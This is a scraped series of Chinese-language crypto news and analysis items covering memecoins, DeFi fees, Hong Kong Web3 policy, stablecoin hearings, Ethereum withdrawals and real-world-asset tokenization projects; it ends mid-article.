创新或者具有易传播话题的属性决定了该项目能够打动多少人群，以及传播到多远的圈层。比如提起PEOPLE，人们便会想起是拍卖宪法的DAO，传播者觉得值得传播，被传播者觉得很好玩。再如比较失败的如拯救阿桑奇的DAO，当第一次听到这样的故事后，你会思索阿桑奇是谁，为什么要拯救阿桑奇，还得去查维基百科，这从传播上已经增大了阻碍。再如今日爆火的Pepe，其话题是放弃doge之类的垃圾meme，PEPE将让memecoin再次伟大，引发了市场的情绪共鸣，同时PEPE本身也是广为流传的MEME表情包，具有MEME的基础。 创新的比如2022年的shit NFT的发行，一改以前付费铸造的NFT市场规则，从此引领了NFT市场免费铸造的先河。而且通过讽刺一众蓝筹项目，激发了市场情绪，从而完成了易传播的话题效应。再比如clutdao的口号是去中心化的风投。 回头看一切现象级的项目，对其进行总结，不免有事后诸葛亮的成本，因为当一个项目是否能成为现象级的存在之前，都具有玄学的成分。但换一个角度，任何一个项目能不能兴起，一定离不开操盘者，离不开更强大的利益相关方，那么操盘者为了吸引更广泛的关注，更多的群体知道并介入，他一定会考虑如何让这个项目容易传播，如何让触达的用户愿意继续传播，以及触达的用户为什么要买入。因此，共性的理性的回顾便有了实际意义。 当我们看到下一个项目时，去站在操盘者的角度去理解、想象这个项目是否满足免费公平且群体广发的分发方式、是否满足投资者的购买心理、是否具有创新、是否具有易传播的话题、是否能够引起情绪共鸣等等。如此一来自然而然提升我们抓住现象级或者涨幅可观的项目。 但永远不能忘却一切的前提是市场整体表现稳妥，风险系数较低的周期。并且永远设置仓位管理和止盈止损。并且，市场每一波的meme行情情绪高涨时都或长周期或短周期带崩整体市场，需保持风险意识。  ( 2 min )
    ParaSpace将从5月1日起引入费用：APE质押收取3%，所有借贷利息收取10%
    PANews 4月20日消息，据官方博客，NFT借贷协议ParaSpace宣布将从5月1日开始引入费用。 其中对于APE质押将收取3%的费用，该费用将在Claim奖励以复利时收取，主要用于支付其用于自动复利（auto-compounding）用户APE奖励的Gas成本。如果从APE质押费用中产生利润，ParaSpace将通过支持社区建设者、赞助社区驱动的活动、赠品等形式将50%的利润重新返还给Yuga生态系统。 对于借贷，将在所有借贷利息中收取10%的平台费用。新的10%的平台费用(协议收入)将用于支付智能合约安全维护、新员工、运营和营销。  ( 1 min )
    给当前香港Web3泼盆冷水：从炒作到落地，我们还有很长的路要走
    原文：《Web3何以繁荣？香港Web3周炒作别上头》 作者：比推Asher Zhang 最近的香港格外热闹，大咖云集，人声鼎沸，香港当地酒店价格几乎是平时2-3倍，一些活动场地因为太火还被限制入内。从Web3发展和当下监管政策看，香港确实具备一定发展Web3的天时，但是当业内人士在杯酒喧嚣后，或许该是冷静看待一下香港的加密新政了。短期内，香港仍然将成为Web3发展和讨论的中心，但是也别上头，因为从来推动Web3发展的力量就不是一国一地的政策驱动，香港此时更要警惕“捧杀”。 泼盆冷水，对香港Web3别抱太大希望 在香港Web3周这几天，朋友圈可谓热热闹闹，大半个朋友圈的定位整体向香港看齐，香港似乎一夜之间成为Web3的中心。从加密市场的发展趋势上看，香港和新加坡这样的东西方中间地带有Web3中心的迹象，但热闹之后或将失望。 从区块链和Web3发展的重心转移趋势上看，其重心经历了从东方向西方转移，然后又从西方向东西方中间地带转移的趋势。2017年9月4日，中国出台ICO禁令，加密市场重心开始向西转移，同年美国CME上线比特币期货合约，加密交易市场等重心加速西移；2022年5月，加密挖矿在中国再次受到封杀式打击，勉强算是实体的加密矿业也彻底西移，而那一年特斯拉宣布接受比特币支付（后又取消）并购入比特币，美SEC通过比特币期货ETF，美国成为真正加密市场重心，并迎来全盛时代。 随着熊市到来，加密重心似乎开始从西转移至东西方中间地带。在加密熊市期间，Luna暴雷，三箭资本破产、FTX等大型加密机构破产倒闭，美国对于加密行业的打击逐步加大。进入2023年，随着硅谷银行等一系列加密银行率先出现问题，美国监管机构开始全面对加密市场进行“清洗”，稳定币BUSD发行商Paxos被美SEC以未注册证券为由进行讼诉，随后纽约金融服务部NYDFS指示Paxos停止铸造BUSD；币安和赵长鹏被CFTC调查，波场项目创始人孙宇晨被SEC起诉。除了这些，就连美国本土的合规加密企业Coinbase也在遭受打击。据《比推》报道，Coinbase 在2023年3月收到美SEC的韦尔斯通知，重点为质押服务和资产上市。Coinbase首席执行官Brian Armstrong在4月18日表示，“Coinbase不得不准备与美国证券交易委员会（SEC）进行长达数年的法庭斗争。“此外他还表示，美国“有潜力成为加密货币的重要市场”，但目前并未提供监管透明度。如果这种情况继续下去，那么Coinbase将考虑在海外进行更多投资，包括从美国迁移至其他地方。 从加密市场的发展趋势上看，加密市场的重心似乎确实在向东西方的中间地带发展，具体而言就是新加坡和香港等地。但从香港和新加坡的地理位置和综合环境上看，其都不具备真正推动Web3向前发展的潜力，香港和新加坡在之前不能超越深圳和硅谷成为技术创新中心，在Web3时代仅通过一些积极政策同样难改局面，这里面有很多问题和阻碍，比如说香港的地租问题等。事实上，目前的东西方只是剥离了加密市场中风险最高的金融交易板块给东西方中间地带，东西方对于推动Web3爆发的核心力量事实上从未放弃竞争。 香港和新加坡等地对于上面这些道理其实也明白，其本质上也还是在做擅长的金融，在Web3浪潮下，以维持其金融中心的地位。在香港Web3会议期间，香港证监会代表发言指出“DeFi项目需要受到香港证监会（SFC）的监管”，令加密行业参与者倒吸一口冷气。证监会代表解释：“因为证监会发现部分DeFi平台打着去中心化的名号，实际上却由核心开发者控制，令平台去中心化自治组织（DAO）投票结果，很可能受到少数人掌控，导致投资人的虚拟资产面临忧虑。” 我们此前曾发表过关于一篇《一文浅谈香港加密新政》，总结来看，香港正建立完整的加密监管体系，其主要还是向美国学习，与新加坡展开竞争，与内地加密政策有望实现互补，并在一定程度上有成为窗口的价值和意义。 Web3何以繁荣？唯有技术创新和应用落地 为什么我们上面说东西方只是将一些风险较高的金融交易板块剥离到东西方中间地带呢？首先，我们要明确什么是Web3？Web3通常用于描述新一代的互联网技术，它以区块链为基础，并涉及去中心化的应用程序、智能合约、数字货币和其他加密技术。与传统的Web2.0应用程序不同，Web3应用程序具有更高的去中心化、透明性和安全性，以及更强的用户控制和数据所有权。我们正处于一个“百年未有之大变局”的时代，在东西方激烈竞争的背景下，Web3是没有一方会轻易放弃的。那Web3真正爆发到底需要什么样的力量推动呢？从每一次工业革命的发展看，技术创新和应用落地无疑都是最主要的推动因素。 在加密市场中，推动加密技术创新的主要力量还是以V神为代表的以太坊核心开发者和生态开发者等；而在推动区块链技术应用落地的主要力量则主要以马斯克和Jack Dorsey等为主。以太坊开发者的工作主要在于将区块链技术推向可商用化应用，目前区块链技术的性能还是太低，根本难以和Web2成熟的落地应用竞争，也很难承载Web2用户的迁移，以太坊转PoS，以及最近爆火的Layer2等都是朝着这一目标在努力。而在区块链应用领域，马斯克和Jack Dorsey则在进行着卓有成效的工作：马斯克收购推特后，采取了一系列符合Web3理念的举措，比如开源推特代码等；Jack Dorsey重启炉灶后，2023 年 2 月 1 日推特创始人 Jack Dorsey 宣布基于 Nostr 的应用 Damus 上线，用户可以在Damus广场发布内容、发送信息私聊、进行闪电网络支付等。截止至 2023 年 2 月 5 日，公钥数量便达 50 万+。 在加密历史中，比特币从诞生以来，不断被多国政府称之为骗局，并在跌落后被宣告死亡，但每一次下跌后都变得更强大，这背后真正的原因在于区块链技术的创新和应用领域扩大。政府监管具有滞后和反复效应（政党更迭导致的拉锯消耗），但技术发展的方向虽然具有多样化，但一旦突破后往往能真正倒逼政府大变革，破除旧有的利益关系博弈。所以，最终Web3的繁荣，只能依靠区块链从业者埋头苦干，推动技术创新从而实现突破。 一场社会大变革，需要的不仅仅是Web3 Web3真正的爆发，也不能仅仅依靠自身。人类社会正在进行一场数字化运动，人们正在从生活了千年的世界中迁移到互联网中，这是人类历史上一次巨大的迁移，在这个过程中，不仅仅需要Web3，还需要非常多的新技术，比如今年以来爆火的AIGC等。在政治经济学中，生产力决定生产关系，生产关系反过来影响制约生产力。目前比如像chatGpt这样的人工智能像是数字时代一种崭新的社会生产力，而Web3则描述出一种新的社会生产关系，这两者之间相辅相成，叠加人类其他重大技术革命创新，一场新的工业革命以及社会革命似乎已可窥见。 人类进入到数字化时代的趋势已不可逆转，但也不会骤至，一切都需要人类先将基础设施搭建完善，同时人类也需要一场大辩论。2023年3月29日，包括埃隆·马斯克（Elon Musk）和苹果联合创始人史蒂夫·沃兹尼亚克（Steve Wozniak）在内，1000多名科技界领袖呼吁暂停开发人工智能，他们担心这场危险竞赛会对社会和人类构成“深远的风险”，且可能产生“灾难性”影响。在人类最终走向大变革的过程中，除了技术突破，可能更需要一个类似马克思一样的伟大人类导师，告诉人类数字化家园该如何建设和发展，这个人在历史上的意义有些像圣经中的摩西带领犹太人逃离埃及。  ( 2 min )
    美国法官同意将BlockFi提交重组计划截止日期延长至5月15日
    PANews 4月20日消息，据Coingape报道，周三，美国新泽西州破产法官将加密借贷公司BlockFi Inc.提交其第11章或重组计划的截止日期延长至5月15日。法官表示，为了保证案件继续顺利运行，短暂的延迟是值得的。 据报道，在听证会上，BlockFi的律师Joshua Sussberg将其称为“适度”延期，并表示该公司将在两周内准备一份计划，供无担保债权人评估。 美国破产法官Michael B. Kaplan指出，该计划将面临“不同寻常的”法律和监管困难；他希望避免在处理各种计划申请时“浪费金钱和精力”。  ( 1 min )
    速览美众议院小组委员会稳定币听证会要点：应当迅速采取行动，推动立法
    作者：Circle 编译：Felix, PANews 周三（4月19日），美国国会下的一个重要委员会（众议院金融服务委员会）举行了一场听证会，讨论稳定币在全球经济中发挥的重要作用，以及是否全面立法以释放稳定币的全部价值。 听证会的主题是“了解稳定币在支付中的作用和立法的必要性”，由众议院金融服务委员会的数字资产、金融技术和包容性小组主持。Circle首席战略官兼全球政策负责人Dante Disparte是出席听证会的领导人之一。 众议院金融服务委员会主席Patrick McHenry（北卡罗来纳州共和党人）表示，他将以两党合作的方式通过稳定币法案。“不采取行动不符合消费者利益。我们需要一套针对稳定币的联邦监管制度，这对我们在国际和国内都很重要，而且在两党的基础上理解这项法案的效用和重要性也非常重要。” 众议院金融服务委员会高级成员Maxine Waters（加州民主党人）表示，她理解“迅速”通过稳定币法案的重要性。“我同意大多数小组成员的意见，即我们应该迅速采取行动，制定一项稳定币法案，并推动立法。” 数字资产、金融技术和包容性小组委员会主席、国会议员French Hill（阿肯色州共和党人）表示，人们“一致”认为需要一个全面的稳定币法案框架。“我想感谢我们的证人今天成为一个出色的小组。我认为这次对话对于明确稳定币立法的方向非常有帮助。我当然听到了专家组的一致意见，即国会的监管框架将有利于美国经济、美国发明家和消费者。” Circle首席战略官兼全球政策负责人Dante Disparte谈到联合国难民署如何利用支付稳定币和区块链来帮助难民。 “一个最有力的例子是最近的一个，那就是我们与联合国难民事务高级专员办事处 (UNHCR) 的合作伙伴关系。Circle与Stellar和Moneygram（注：速汇金，是一种个人间的环球快速汇款业务，可以在15分钟内完成由汇款人到收款人的汇款过程）一起，帮助设计了一项针对乌克兰难民的数字现金援助计划。该计划的运作方式是其他任何支付系统无法替代的，您想一想，我们国家今天运送对外援助或灾难援助的方式是实物现金，这是容易滋生腐败、贿赂或欺诈的蜜罐。以设备为中心的货币具有抗腐败、近乎即时和可审计的特性，这是一个非常强大的功能，在这种情况下，以美元计价的稳定币USDC是支持这种创新的有效载体。” Disparte在听证会上指出（书面证词可在此处查阅）： 迄今为止，几乎所有其他支付创新都只是在借贷和结算速度方面略有改进，与之相比，USDC等稳定币是一种以美元计价的电子现金传输形式。随着时间的推移，互联网规模、近乎即时的美元结算，将接近世界上最大支付系统的每秒交易量。这是一项关键的创新，可以同步提升美国的经济竞争力和国家安全利益。在如何以数字形式向任何联网设备发送、消费、储蓄和保护资金的方式上，有望成为一项重要突破。随着时间的推移，只要国家监管框架落实到位，一种数字美元的新形式就会出现，它将具有法律明确性、互联网规模的传输性、基本保护（包括即使发行人破产时也享有同等赎回权、隐私）、法治和其他关键特征。实现这一目标的唯一途径是国会制定全面的稳定币法案。 相关阅读：民主党和共和党关于稳定币监管产生分歧，或不利于迅速通过立法  ( 1 min )
    3分钟速览a16z的“L2野心”：基于OP Stack的Rollup客户端Magi
    本文来自The Block&a16z Crypto，原文作者：Noah Citron、Adam Morgan McCarthy、 Vishal Chawla 编译：Moni 在Coinbase推出基于 OP Stack 的全新以太坊 L2 网络Base之后，a16z 也出手了。 4 月 19 日晚间，a16z Crypto 宣布推出名为“Magi”的二层 Rollup 客户端解决方案，无独有偶，Magi 客户端软件也将在 OP Stack 上构建（注：OP Stack是一个软件堆栈，可用于围绕OptimismLayer 2网络创建区块链 dApp 生态系统），并将作为 a16z迈进 Optimism Collective 的第一步。 A16z 是加密领域最知名的投资者之一，拥有超过 70 亿美元的资金用于该领域的投资。2023 年至今，该风投已经参与了 11 项加密初创公司的融资交易。A16z Crypto 也是以太坊扩容项目 Optimism 的投资者之一，根据 CoinGecko 最新数据显示， Optimism 原生代币 OP 在今天 Magi 消息发布后已从约 2.55 美元攀升至 2.65 美元。 Magi 是一个用 Rust 编写的高速 OP Stack Rollup 客户端，在以太坊的传统执行/共识拆分中充当共识客户端，向执行客户端提供新区块以推进链上交易。Magi 执行与参考实现（op-node）具有相同的核心功能，并与执行节点（如 op-geth）一起工作以同步到任何 OP Stack 链，包括 Optimism 和 Base。 以太坊链上执行和共识方面都需要客户端多样性，然而到目前为止，大部分开发都集中在执行客户端上。 现有的以太坊执行客户端都可以通过实施一组适度的更改与 Optimism 兼容，并且几个新项目已经在调整这些客户端以帮助实现客户端多样性，比如 OP Labs 修改 Geth 客户端以构建op-geth，其他团体目前正在建设op-erigon和op-reth。 不过，Rollup 客户端改造难度更高，因为 Rollup 客户端是一个全新的软件。到目前为止，只有一种实现：op-node，由 OP Labs 维护并用 Go 语言编写。Magi 的目标是成为一个独立开发的 op-node 直接替代品，以提升 Rollup 的客户端多样性。A16z 希望构建一个基于 Rust 的新客户端将鼓励整个 OP 堆栈更加安全和活跃，并为生态系统带来更多贡献者。 Magi 仍处于非常早期的阶段，可能需要数月的开发时间才能成为 op-node 的可行替代方案。A16z 计划在不久的将来添加的一些功能和改进，主要包括： 1、追踪不安全的区块头（未确认的区块）以降低延迟。 2、构建新的同步机制可提高初始同步速度。 3、为替代数据可用性层提供支持。 4、用于测试 Magi、op-node 和任何未来客户端的更好框架。 a16z 表示，Rollup 客户端还有很长的路要走，a16z 也希望能共同努力，继续推动 Magi 和 OP Stack 生态系统向前发展。  ( 3 min )
    首个购入PEPE的地址已于5天前被开发者列入黑名单
    PANews 4月20日消息，链上观察员0xBobie发推文称，首个购入PEPE的地址5天前被开发者列入了黑名单。0xBobie猜测PEPE开发者将被视为机器人的地址列入黑名单。 上述列入黑名单的交易哈希为0xb162f87a3f4eb22f06573049967187fedbcd33a34a99c740dd98c261ce207e21。该地址为0xAf2358e98683265cBd3a48509123d390dDf54534。  ( 1 min )
    数据：某休眠超9年的地址今日凌晨转出6071枚BTC，约合1.78亿美元
    PANews 4月20日消息，据Whale Alert数据监测，匿名比特币地址休眠超9年后被激活，于今日00:45:17转出6071枚比特币（约1.78亿美元），2013年当年价值3,362,853美元，目前浮盈约53倍。  ( 1 min )
    一文解读以太坊上海升级关键数据指标及常见错误
    作者：themlpx 编辑：Biteye 核心贡献者 Crush 本文将会简要介绍以太坊的取款机制、如何理解取款数据、要研究的关键指标以及需要避免的误解。 主要参考的是 @nansen_ai 的数据，但也会在适当的时候分享其它数据来源。 01、快速了解 ETH 质押和取款功能 与其它 POS 系统不同，在其他POS系统中，验证者可以质押大量的生态代币，并且其质押利润也可被再次质押进行复利，该类验证者可以从其全部的质押头寸来获取利润，而 ETH 验证者固定为 32 ETH（+应计奖励），并且仅赚取 32 ETH 的收益。 部分取款是对应计奖励的取款，每 2-5 天自动处理。 全额提款是指提取全部 32 ETH 余额，实质上是关闭验证器，这需要手动操作。 为了启用提款，验证者需要将其提款凭证前缀从 0x00 设置为 0x01。在上海升级启动时，只有约 40% 的验证者将其凭据设置为 0x01，但是这个数字现在已经上升到 82.3%，最终将达到 100%。 为什么它会达到 100%，这是否意味着每个人都想退出？ 它会达到 100%，因为每个验证者都希望提取他们应计的奖励，因为他们只从本金 32 ETH 上赚取收益，这并不表示他们希望完全退出。 这是为了维护网络的安全，而不是因为 ETH 链上速度限制。如果太多验证者退出得太快，网络将容易受到攻击。 用户至少要等待 27 小时才能退出，这个等待时间，使得网络有充足的时间去检测有害活动，防止不良行为者对网络产生负面影响并在不受惩罚的情况下退出。同时用户还需要等待额外的 2-5 天，以便于系统处理提款 提款限额公式大概是这样的（来源：@ConsenSys） （译者注：以太坊网络中存在一个“流失限制 churn limit”变量，它是一个控制每个时期内最大退出验证者数量的变量。当活跃验证者数小于或等于327680时，流失限制为4；当活跃验证者数超过327680后，每增加65536个新的活跃验证者，流失限制就会增加1。截至2023年2月23日，以太坊网络中有大约525000个活跃验证者，此时流失限制为8，意味着每天可以退出1800个验证者。） 我主要研究以下几个指标： 最好的方法是直接打开 Nansen ： https://query.nansen.ai/public/dashboards/Hk93n66vsO0uvycfui8ypF2xcpNhpraxfwX5AWZJ 每个人最喜欢的指标也是最容易被误解的指标。Nansen 的数据突出了 ETH 流动性供应的变化。 存款是发送到信标链合约的 ETH，取款是来自信标链的 ETH + 发送到钱包的应计奖励。 查看累计总和来衡量 ETH 流动性供应的变化，而不仅仅是存款/取款的多少。 累计总和的减少 = 流动性供应量的增加。 查看此图表是衡量 ETH 在锁定和解锁状态之间流动的一种方式。 虽然该图表很好地概述了流动性供应的变化，但在分析提款影响时缺乏细微差别，了解部分提款和全部提款之间的区别至关重要。 部分提款的数量可预见的，并且有 2 年以上的应计奖励积压，一旦验证者将其提款前缀切换为 0x01，这些积压将自动撤回。 完全退出是更重要的考虑因素，因为这些是手动退出而不是自动退出。 目前，Nansen 的数据面板没有显示部分提款和全部提款的单独情况，因此我们不得不依赖其他数据来源。 我们这里还是参考 @hildobby_ 的数据，因为它有更长的时间范围。 很明显，取款量主要是由部分取款（而非 Kraken）驱动的，这是可以预料的，并且在接下来的几天里，我们将继续看到相当大的取款量出现。 有 25.05 万个 ETH 等待自动取款，26.66 万个 ETH 正在等待切换到 0x01。 在过去 24 小时内，我们开始看到大量的全额提款出现。 提款延误的原因： 查看提款排队数据，可以让您了解即将到来的完全解锁代币，包括谁在解锁这些代币，以及解锁的时间等。 Nansen 上等待退出的验证者，包括那些已经通过队列但尚未退出的验证者，而其他网站的数据仅包括队列中的验证者。 常见错误： 我们常常会假设验证者退出就一定表示验证者会卖掉这些代币，即： ETH 解锁 = ETH 出售 虽然解锁通常与砸盘有关，但 ETH 的情况略有不同，这不是一般意义上的周期代币解锁，而是 PoS L1 的正常取消质押。 LSD 赛道的兴起及在 DeFi 中的应用将会是影响验证者退出后抛售情况的一个因素。 看好 ETH 的个人验证者如果希望通过 LSD 重新质押 ETH，他们将会排队退出，但这些人退出的主要原因，是希望能够利用 LSD 流动性来提高资本效率。 我们看到自上海升级以来质押在 LSD 中的 ETH 略有增加，虽然没有数据面板可以来判断这些 ETH 是否来自重新质押，但由于上述原因，两者之间可能存在相关性。 谁取消质押？ 知道谁在解除质押与了解将要解除质押的金额一样重要。了解谁取消质押可以让你了解他们退出时的意图。 这有助于您了解过去的解锁情况并为将来的解锁做好准备。 常见错误： 到目前为止提取的 ETH 受到 Kraken 的严重影响 Lido 质押者都是看空的 从上图可以看出，Kraken 还没有进入提款名单，这可能是因为他们的验证者仍在排队或者是等待过程中。 Lido 验证者也并没有大规模退出，他们只是在提取质押的奖励。 目前也没有一个数据面板可以跟踪这个，所以这有点难以分析，但看到质押在 LSD 上的 ETH 在增加，是目前一个主要指标。 我认为人们得出下面的结论，还为时过早： Kraken 解锁 = 大规模抛售压力 Kraken 被迫放弃他们的质押业务，但这不等于抛售，只是意味着他们必须作为验证者退出，用户把 ETH 拿到手之后回去做什么，我们也不可而知。 基于当前取款数据的质押ETH 数量的总体趋势 现在提款的数量将非常不稳定，最初的提款（部分提款和全部提款）会出现激增。目前只过去了几天，这些数据都尚未稳定。 因此，基于当前提款数据的预测在我看来是毫无意义的，与其它 PoS L1 进行比较可能更有意义。 迄今为止，ETH 的质押百分比最低（BNB 除外），并且也是唯一无法提款的。 06、我的假设 我们更有可能看到质押的 ETH 数量会上升到与其他 L1 相当的水平。上海升级是至关重要的一次升级，不论在短期内的质押情况如何，对于 ETH 来说都是长远有益的。  ( 3 min )
    一文详解现实世界资产RWA项目分类与代表项目运行机制
    现实世界资产（Real World Assets，RWA）是指存在于现实世界中，并被代币化带到链上使用的一类资产。区块链能够7x24小时的运行，最大程度的减少中间人的参与，避免交易对手风险，合约部署后需要的运营成本极低。在2020年“DeFi Summer”之后，DeFi的交易、借贷等基础设施已经较为完善。 DeFi带来的“流动性挖矿”曾引起一股热潮，但在牛熊转换中，链上的TVL下降70%，Aave等主流借贷协议中的稳定币存款收益也已低于美国国债。从现实世界中获取资金和收益机会被很多人认为是未来的发展趋势之一。在本文中，PANews将对各种RWA项目进行分类，并盘点主要项目的现状与运行机制。 按照现实世界资产的定义，中心化稳定币可能是使用最早、规模最大，但又经常被忽视的一类RWA。Tether、Circle等稳定币发行机构以法币或现金等价物为支撑发行稳定币，在为加密世界提供价格稳定的交易媒介的同时，稳定币发行商也通过持有的债券等获得收益，稳定币也已经成为加密市场的基础。 截至4月18日，规模最大的四种稳定币及其发行量分别为USDT 810亿、USDC 315亿、BUSD 66.5亿、TUSD 21.4亿。近期USDT和TUSD的发行量增加，USDC和BUSD的发行量降低。BUSD在被美国监管机构禁止铸造新的代币之后，发行量持续降低，而币安转向支持TUSD导致TUSD的发行量创下新高，但TUSD的市场份额仍然相对较低。USDC在遭遇美国银行业的危机之后，因为套利机制的存在，部分市场被USDT抢占，USDT的发行量也接近历史高点。 私人信贷 私人信贷市场通常只允许少量信用较好的机构发起贷款，且并不必须要抵押品，也就不会因为抵押品价格下跌而被清算。借款人需要和协议的代表签订合同，确保借款人不会随意违约，并规定资金只能用于做市等风险较小的投资方向。由于资金利用率更高，存款人也可以获得更高的利息。在牛市中，私人信贷这种效率较高的借贷方式为市场注入了更多燃料。根据rwa.xyz的数据，2022年5月，Maple和TrueFi中的活跃贷款分别为9.1亿美元和3.85亿美元。 但结果并没有向着理想的方向发展，随着三箭资本、FTX等的暴雷，Maple和TrueFi分别出现4916万美元、444万美元的坏账。这一领域一直受到争议，因为借款需要许可，并不是足够去中心化，且无抵押借贷也存在风险。近期，Centrifuge和Goldfinch的发展让人看到了机会。 Centrifuge是一个将现实世界资产通证化并将其纳入去中心化金融生态系统的创新平台，也有自己的Centrifuge Chain，其中的贷款是完全抵押的，流动性提供者有法律追索权。Centrifuge将借款人的链下抵押品通证化为一个NFT，锁定在Centrifuge协议的智能合约中。多个借款人的抵押品NFT集中在一起，流动性提供者为这个资产池提供资金，而不是单独的某个人。同一个资金池又分为初级和高级两个tranche，其中初级tranche的投资者获得更多收益，并首先承担损失，高级tranche的投资人获得的收益和承担的风险都更低，可满足不同风险偏好者的需求。 另一个值得关注的无抵押借贷协议是Goldfinch，这个由Coinbase前员工创建的项目从未产生过坏账。Goldfinch中的核心参与者包括借款人、贷款提供商（LP）和信用委员会。借款人在Goldfinch中提交申请，申请无抵押贷款，说明所需资金、用途、还款计划等；信用委员会负责审批借款申请，并负责监督贷款的偿还，他们由持有Goldfinch平台代币$GFI的用户组成；LP在Goldfinch的资金池中注入资金，既可以向针对单笔借款的池注入，也可以向Goldfinch的高级池中注入资金，高级池会将资金分散在各种借款中，且高级池的资金受到初级池的保护。 和华为合作的Defactor也属于这类项目，它可以帮助传统企业通过DeFi融资。资产的发起人先向Defactor平台提交申请；执行KYC/KYB；Defactor团队进行尽职调查，评估资金要求，是否接受申请；被接受的资产发起人将资产上传到平台上，作为抵押品；资产被代币化直到完成还款。 这一方向还有专注于农产品抵押借贷的Brú Finance和无抵押借贷协议Credix Finance等。 在DeFi收益率降低的同时，随着美联储的加息，美债收益率上升。截至4月17日，美国2年期国债收益率为4.18%，而以太坊上Aave V2中的USDC存款年化收益率只有1.94%。将加密市场中的稳定币投向流动性好的债券市场也是不错的选择。 MakerDAO是较早将资金投入债券市场，也是投资规模最大的DeFi项目。根据Dune @SebVentures的数据，Maker总共向RWA投入了约7亿美元的资金。其中主要是与Monetalis合作的MIP65，将5亿美元投向了美国国债和投资级公司债。按照当时的提案，5亿美元中的80%投资于美国国债，20%投资于公司债。根据目前的情况，Maker 58.6%的收入都来自于RWA。 Ondo Finance也是一个专注于在链上为所有人提供机构级金融服务的项目，它提供四种债券投资机会：美国货币市场基金（OMMF）、美国国债（OUSG）、短期债券（OSTB）、高收益债券（OHYG）。用户以USDC投资后，Ondo将USDC兑换成美元，并购买ETF或基金，为用户发放基金代币。投资收益会自动复投，当用户赎回资产时，代币会被销毁，收到更多的USDC。其中使用最多的是OUSG，当用户投资于美国国债后会收到OUSG代币，OUSG还可用于在Flux Finance中作为抵押品，以借入USDC、DAI、USDT这三种稳定币，OUSG也是Flux Finance中唯一可用作抵押品的资产。截至4月17日，OUSG的市值为1.01亿美元。 BondbloX是一个债券交易所，由Bondevalue建立和运营，后者是受新加坡金融管理局认可的市场运营商（RMO），在BondbloX中交易者需要先完成KYC。Bondblox将债券拆分，提供面值较小的债券交易，最少可购买1000美元的债券，但对应的债券原面额可能为20万美元，降低了债券的交易门槛。BondbloX的交易在区块链上即时结算，平台从交易中收取一定的交易手续费和平台接入费。 链上的股票交易最初以合成资产的形式存在，典型的代表是Synthetix和Mirror Protocol。但这类项目没有真实的股票支撑，也存在合规问题，Terra的创始人Do Kwon就因为Mirror Protocol在2021年收到美国SEC的传票，而Mirror最终也因为Terra的陨落一蹶不振。现在，一些合规的项目正在加入这个行列。 Backed是一个链上资本市场的基础设施，可以通过ERC-20代币跟踪股票和ETF，并100%由基础资产支持，符合瑞士分布式账本技术法案的合规监管框架。Backed的bTokens能够跟踪证券的价值，并完全由证券支持，需要经过KYC的合格专业投资者才能购买，也可以使用这些bTokens赎回基础资产。Backed在发行和赎回资产时收取一定的费用。但Backed表示目前并不打算推出自己的原生代币。 DeFi平台Swarm中可以交易股票代币、美国国债ETF和受监管的流动性质押代币。Swarm中的股票代币100%以真实股票支持，有审计公司进行审计，股票代币由SwarmX GmbH发行，符合德国的法规，可根据德国银行法开展经济业务、自营业务和加密托管业务，在Swarm中交易同样需要先进行KYC。 Hamilton Lane是一个私募市场解决方案提供商，截至2022年底管理有超过1000亿美元的资产。它通过对客户友好的结构，为投资者提供多元化、高质量的私募市场投资组合。Hamilton Lane和数字资产发行平台Securitize合作，将一只21亿美元的股票基金在Polygon上代币化。该基金的最低投资额只有2万美元，而通常私募股权投资最低需要50万美元的门槛。 在现实世界中，房地产能够产生收益，但又价值较高，缺乏流动性。使用区块链将房地产代币化，可以简化交易流程、提高透明度、降低交易成本。现实中一个单一的房产也可以进行碎片化，让很多人分别持有一部分所有权，使散户也能参与到高价值资产的投资中。 房地产代币化类项目包括全球房地产交易平台Propy，房地产代币化平台ReaIT，房地产交易、租赁平台Atlant，房地产代币化平台LABS Group，房地产交易、抵押借贷平台ELYSIA，RWA代币化和稳定币借贷平台Tangible等。 以Propy为例，官网显示通过Propy合作伙伴处理的交易额已经超过40亿美元。首先，买卖双方需要在Propy上注册，填写个人信息；卖家在Propy平台上列出房地产的信息，包括照片、价格等；买家在找到心仪的房产后提交购买意向，签署购买协议，支付定金；Propy使用智能合约处理房地产交易，买家、卖家、律师、代理等需要在智能合约中签署相关文件。这些文件包括购房合同、披露文件等；买家将购房款托管在支付机构，一旦文件签署完毕，智能合约自动触发资金支付；支付完成后，产权转移到买家，交易过程记录在区块链上，相关信息永久存储在区块链上。 将碳信用凭证代币化后在区块链上交易，可以提高碳信用交易的流动性，降低交易成本，增加透明度，这些新型资产也可以为DeFi增加更多资产和用例。 首先需要将碳信用凭证代币化，Toucan就是这样一个项目。它通过区块链和物联网技术，实现碳排放数据的实时追踪，创造一个高效、透明的碳信用交易市场；根据收集到的数据，Toucan的“碳桥”允许经过验证来源的碳信用额度的所有者发行碳信用代币，可在二级市场上交易，企业可购买碳信用代币来弥补自己的碳排放，实现碳中和目标；投资者也可以购买这些代币参与碳减排行动，并有望从中获利。Toucan实现的数据如下图所示，帮助上链的二氧化碳超过2000万吨，抵消的碳超过5万吨，帮助超过50个气候项目通证化，碳交易量超过40亿美元。 而KlimaDAO则是以Toucan发行的碳信用凭证构建的一个应用，KlimaDAO的核心目标是促进碳减排、增加碳市场的流动性和透明度，从而降低全球温室气体排放。 这类项目也被称为“再生金融”（ReFi），类似的项目还包括Flowcarbon、Regen Network等。 艺术品和收藏品市场中存在身份验证、所有权追踪和价值证明等问题，基于区块链公开、透明、不可篡改的特性，有利于解决这些问题。 Codex Protocol就是这样一个项目，它通过区块链技术创建了一个去中心化的注册系统，用于记录艺术品和收藏品的元数据。这个注册系统允许艺术品和收藏品的所有者验证作品的真实性，并追踪其所有权历史。这有助于增加市场的信任度，降低伪造品和欺诈交易的风险。 Arkive则利用创新的模型，让成员称为策展人，将博物馆等中的物品转移到NFT中，由区块链来替代存储和管理条件。该项目已获得Offline Ventures和TGG Crypto领投的970万美元资金。 和证券代币等相同，链上也有交易贵金属的需求，这也是合成资产类项目常见的一个方向。现实中也存在一些以真实存在的贵金属为支撑，并在链上发行代币的项目，如稳定币PAX的发行商Paxos。 Paxos推出了PAX Gold（PAXG）这一黄金锚定代币，想要投资黄金的加密用户可以直接在链上或CEX中购买PAXG。PAXG的黄金存储在LBMA金库中，每个月进行一次审计，可赎回为实物黄金。和黄金ETF等传统投资渠道相比，PAXG的持有成本更低，没有托管费用。但Paxos会对每一笔PAXG的链上转账和交易收取0.02%的费用。 其它 还有一些RWA中的基础设施，可能不属于某一类特定的RWA。 Layer 